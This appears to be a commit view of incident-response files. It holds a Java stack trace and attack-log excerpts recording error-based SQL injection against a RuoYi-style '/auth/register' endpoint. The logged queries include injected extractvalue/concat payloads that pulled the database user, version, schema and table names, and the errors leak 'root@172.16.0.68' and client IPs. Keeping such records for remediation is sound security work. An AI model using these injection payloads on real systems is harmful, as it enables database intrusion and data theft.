at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359)
at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724)
at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled(<generated>)
at org.dromara.web.controller.AuthController.register(AuthController.java:186)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129)
at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
at java.base/java.lang.Thread.run(Thread.java:840)
Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8]
2026-09-16 14:50:08 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
 - 请求地址'/auth/register',发生未知异常.
org.springframework.jdbc.UncategorizedSQLException:
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
### The error may involve defaultParameterMap
### The error occurred while setting parameters
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:94)
at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:347)
at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source)
at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87)
at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211)
at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359)
at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724)
at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled(<generated>)
at org.dromara.web.controller.AuthController.register(AuthController.java:186)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129)
at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
at java.base/java.lang.Thread.run(Thread.java:840)
Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121)
at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114)
at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988)
at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382)
at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44)
at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java)
问题整改/攻击日志摘录/excerpts-register.txt
View File
Whitespace-only changes.
问题整改/攻击日志摘录/excerpts-root-leak.txt
View File
Whitespace-only changes.
问题整改/攻击日志摘录/excerpts-xpath.txt
+75
View File
@@ -0,0 +1,75 @@
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630250
java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 '
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630400
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 '
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630405
### Cause: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 '
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630406
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~23 13:14:37|2|2026-09-16 '
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:630522
Caused by: java.sql.SQLException: XPATH syntax error: '~23 13:14:37|2|2026-09-16 '
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:650908
java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651058
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651063
### Cause: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651064
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~|0|36.28.73.85|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:651180
Caused by: java.sql.SQLException: XPATH syntax error: '~|0|36.28.73.85|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656229
java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656379
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656384
### Cause: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656385
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~0|36.21.215.72|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:656501
Caused by: java.sql.SQLException: XPATH syntax error: '~0|36.21.215.72|2026-09-16'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:664993
java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665143
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665148
### Cause: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665149
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~.138.37|2026-09-16 08:45:'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665265
Caused by: java.sql.SQLException: XPATH syntax error: '~.138.37|2026-09-16 08:45:'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665619
java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665769
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665774
### Cause: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665775
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~:37|15|2026-09-16 08:45:3'
### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665891
Caused by: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3'
问题整改/攻击日志摘录/hits-sys-dated-20260916.txt
View File
Whitespace-only changes.
问题整改/攻击日志摘录/primary-extract-sql-samples.txt
+45
View File
@@ -0,0 +1,45 @@
[2026-09-16 14:07:35] L2067
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
[2026-09-16 14:07:35] L2227
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
[2026-09-16 14:07:35] L2384
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
[2026-09-16 14:07:35] L2544
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
[2026-09-16 14:07:35] L2701
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L2861
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L3018
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
[2026-09-16 14:07:35] L3178
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
[2026-09-16 14:07:35] L3335
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L3495
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L3652
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1))) AND '1'='1'
[2026-09-16 14:07:35] L3812
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1))) AND '1'='1'
[2026-09-16 14:07:35] L3969
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L4129
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
[2026-09-16 14:07:35] L4286
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='hzdyjs_xg' limit 0,1))) AND '1'='1'
问题整改/攻击日志摘录/primary-register-hits.txt
+60
View File
